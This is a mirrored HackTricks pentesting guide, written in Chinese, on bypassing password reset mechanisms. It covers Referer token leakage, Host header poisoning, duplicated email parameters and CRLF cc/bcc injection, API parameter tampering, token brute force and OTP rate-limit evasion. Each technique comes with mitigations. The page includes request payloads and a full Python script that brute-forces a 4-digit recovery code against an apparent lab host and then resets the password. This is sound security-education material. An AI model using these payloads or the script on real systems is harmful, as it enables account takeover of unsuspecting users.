mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
238 lines
9.2 KiB
Markdown
238 lines
9.2 KiB
Markdown
# 重置/忘记密码绕过
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## **通过引荐者泄露密码重置令牌**
|
||
|
||
- 如果密码重置令牌包含在URL中,HTTP referer头可能会泄露该令牌。这可能发生在用户请求密码重置后点击第三方网站链接时。
|
||
- **影响**:通过跨站请求伪造(CSRF)攻击可能导致账户接管。
|
||
- **利用**:要检查密码重置令牌是否在referer头中泄露,**请求密码重置**到您的电子邮件地址,并**点击提供的重置链接**。**不要立即更改您的密码**。相反,**在使用Burp Suite拦截请求时,导航到第三方网站**(如Facebook或Twitter)。检查请求以查看**referer头是否包含密码重置令牌**,因为这可能会将敏感信息暴露给第三方。
|
||
- **参考**:
|
||
- [HackerOne报告342693](https://hackerone.com/reports/342693)
|
||
- [HackerOne报告272379](https://hackerone.com/reports/272379)
|
||
- [密码重置令牌泄露文章](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||
|
||
## **密码重置中毒**
|
||
|
||
- 攻击者可能在密码重置请求中操纵Host头,将重置链接指向恶意网站。
|
||
- **影响**:通过将重置令牌泄露给攻击者,可能导致账户接管。
|
||
- **缓解步骤**:
|
||
- 验证Host头是否在允许的域名白名单中。
|
||
- 使用安全的服务器端方法生成绝对URL。
|
||
- **补丁**:使用`$_SERVER['SERVER_NAME']`构造密码重置URL,而不是`$_SERVER['HTTP_HOST']`。
|
||
- **参考**:
|
||
- [关于密码重置中毒的Acunetix文章](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||
|
||
## **通过操纵电子邮件参数重置密码**
|
||
|
||
攻击者可以通过添加额外的电子邮件参数来操纵密码重置请求,以转移重置链接。
|
||
|
||
- 使用&将攻击者电子邮件作为第二个参数添加
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com&email=attacker@email.com
|
||
```
|
||
- 使用 %20 将攻击者电子邮件作为第二个参数添加
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com%20email=attacker@email.com
|
||
```
|
||
- 使用 | 将攻击者电子邮件作为第二个参数添加
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email=victim@email.com|email=attacker@email.com
|
||
```
|
||
- 使用 cc 将攻击者电子邮件作为第二个参数添加
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||
```
|
||
- 使用bcc将攻击者电子邮件作为第二个参数添加
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||
```
|
||
- 使用 , 将攻击者电子邮件作为第二个参数添加。
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
email="victim@mail.tld",email="attacker@mail.tld"
|
||
```
|
||
- 在 JSON 数组中添加攻击者电子邮件作为第二个参数
|
||
```php
|
||
POST /resetPassword
|
||
[...]
|
||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||
```
|
||
- **缓解步骤**:
|
||
- 服务器端正确解析和验证电子邮件参数。
|
||
- 使用预处理语句或参数化查询以防止注入攻击。
|
||
- **参考文献**:
|
||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||
|
||
## **通过API参数更改任何用户的电子邮件和密码**
|
||
|
||
- 攻击者可以在API请求中修改电子邮件和密码参数以更改账户凭据。
|
||
```php
|
||
POST /api/changepass
|
||
[...]
|
||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||
```
|
||
- **缓解步骤**:
|
||
- 确保严格的参数验证和身份验证检查。
|
||
- 实施强大的日志记录和监控,以检测和响应可疑活动。
|
||
- **参考**:
|
||
- [通过API参数操纵进行完整账户接管](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||
|
||
## **无速率限制:电子邮件轰炸**
|
||
|
||
- 密码重置请求缺乏速率限制可能导致电子邮件轰炸,使用户被重置电子邮件淹没。
|
||
- **缓解步骤**:
|
||
- 基于IP地址或用户账户实施速率限制。
|
||
- 使用CAPTCHA挑战以防止自动滥用。
|
||
- **参考**:
|
||
- [HackerOne报告280534](https://hackerone.com/reports/280534)
|
||
|
||
## **找出密码重置令牌的生成方式**
|
||
|
||
- 理解令牌生成背后的模式或方法可能导致预测或暴力破解令牌。一些选项:
|
||
- 基于时间戳
|
||
- 基于用户ID
|
||
- 基于用户的电子邮件
|
||
- 基于名字和姓氏
|
||
- 基于出生日期
|
||
- 基于加密
|
||
- **缓解步骤**:
|
||
- 使用强大的加密方法生成令牌。
|
||
- 确保足够的随机性和长度以防止可预测性。
|
||
- **工具**:使用Burp Sequencer分析令牌的随机性。
|
||
|
||
## **可猜测的UUID**
|
||
|
||
- 如果UUID(版本1)是可猜测或可预测的,攻击者可能会暴力破解它们以生成有效的重置令牌。检查:
|
||
|
||
{{#ref}}
|
||
uuid-insecurities.md
|
||
{{#endref}}
|
||
|
||
- **缓解步骤**:
|
||
- 使用GUID版本4以确保随机性,或对其他版本实施额外的安全措施。
|
||
- **工具**:使用[guidtool](https://github.com/intruder-io/guidtool)分析和生成GUID。
|
||
|
||
## **响应操纵:用好响应替换坏响应**
|
||
|
||
- 操纵HTTP响应以绕过错误消息或限制。
|
||
- **缓解步骤**:
|
||
- 实施服务器端检查以确保响应完整性。
|
||
- 使用安全通信通道如HTTPS以防止中间人攻击。
|
||
- **参考**:
|
||
- [实时漏洞赏金活动中的关键漏洞](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||
|
||
## **使用过期令牌**
|
||
|
||
- 测试过期令牌是否仍可用于密码重置。
|
||
- **缓解步骤**:
|
||
- 实施严格的令牌过期政策,并在服务器端验证令牌过期。
|
||
|
||
## **暴力破解密码重置令牌**
|
||
|
||
- 尝试使用Burpsuite和IP-Rotator等工具暴力破解重置令牌,以绕过基于IP的速率限制。
|
||
- **缓解步骤**:
|
||
- 实施强大的速率限制和账户锁定机制。
|
||
- 监控可疑活动以指示暴力破解攻击。
|
||
|
||
## **尝试使用您的令牌**
|
||
|
||
- 测试攻击者的重置令牌是否可以与受害者的电子邮件一起使用。
|
||
- **缓解步骤**:
|
||
- 确保令牌绑定到用户会话或其他用户特定属性。
|
||
|
||
## **注销/密码重置中的会话失效**
|
||
|
||
- 确保用户注销或重置密码时会话失效。
|
||
- **缓解步骤**:
|
||
- 实施适当的会话管理,确保所有会话在注销或密码重置时失效。
|
||
|
||
## **注销/密码重置中的会话失效**
|
||
|
||
- 重置令牌应具有过期时间,过期后将失效。
|
||
- **缓解步骤**:
|
||
- 为重置令牌设置合理的过期时间,并在服务器端严格执行。
|
||
|
||
## **通过更改会话绕过OTP速率限制**
|
||
|
||
- 如果网站使用用户会话跟踪错误的OTP尝试,并且OTP较弱(<= 4位数字),则我们可以有效地暴力破解OTP。
|
||
- **利用**:
|
||
- 在被服务器阻止后请求一个新的会话令牌。
|
||
- **示例**代码,通过随机猜测OTP来利用此漏洞(当您更改会话时,OTP也会更改,因此我们将无法顺序暴力破解它!):
|
||
|
||
``` python
|
||
# 通过密码重置绕过身份验证
|
||
# by coderMohammed
|
||
import requests
|
||
import random
|
||
from time import sleep
|
||
|
||
headers = {
|
||
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
|
||
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
|
||
}
|
||
url = "http://10.10.12.231:1337/reset_password.php"
|
||
logout = "http://10.10.12.231:1337/logout.php"
|
||
root = "http://10.10.12.231:1337/"
|
||
|
||
parms = dict()
|
||
ter = 0
|
||
phpsessid = ""
|
||
|
||
print("[+] 开始攻击!")
|
||
sleep(3)
|
||
print("[+] 这可能需要大约5分钟才能完成!")
|
||
|
||
try:
|
||
while True:
|
||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # 从0到9999的随机数,4位
|
||
parms["s"] = 164 # 不重要,只影响前端
|
||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||
|
||
if ter == 8: # 尝试次数
|
||
out = requests.get(logout,headers=headers) # 注销
|
||
mainp = requests.get(root) # 获取另一个phpssid(令牌)
|
||
|
||
cookies = out.cookies # 提取sessionid
|
||
phpsessid = cookies.get('PHPSESSID')
|
||
headers["cookies"]=f"PHPSESSID={phpsessid}" # 用新会话更新头部
|
||
|
||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # 发送电子邮件以更改密码
|
||
ter = 0 # 重置ter,以便在8次尝试后获取新会话
|
||
else:
|
||
ter += 1
|
||
if(len(res.text) == 2292): # 当您正确获取恢复代码时页面的长度(通过测试获得)
|
||
print(len(res.text)) # 用于调试信息
|
||
print(phpsessid)
|
||
|
||
reset_data = { # 在这里我们将密码更改为新密码
|
||
"new_password": "D37djkamd!",
|
||
"confirm_password": "D37djkamd!"
|
||
}
|
||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||
|
||
print("[+] 密码已更改为:D37djkamd!")
|
||
break
|
||
except Exception as e:
|
||
print("[+] 攻击停止")
|
||
```
|
||
|
||
## 参考
|
||
|
||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|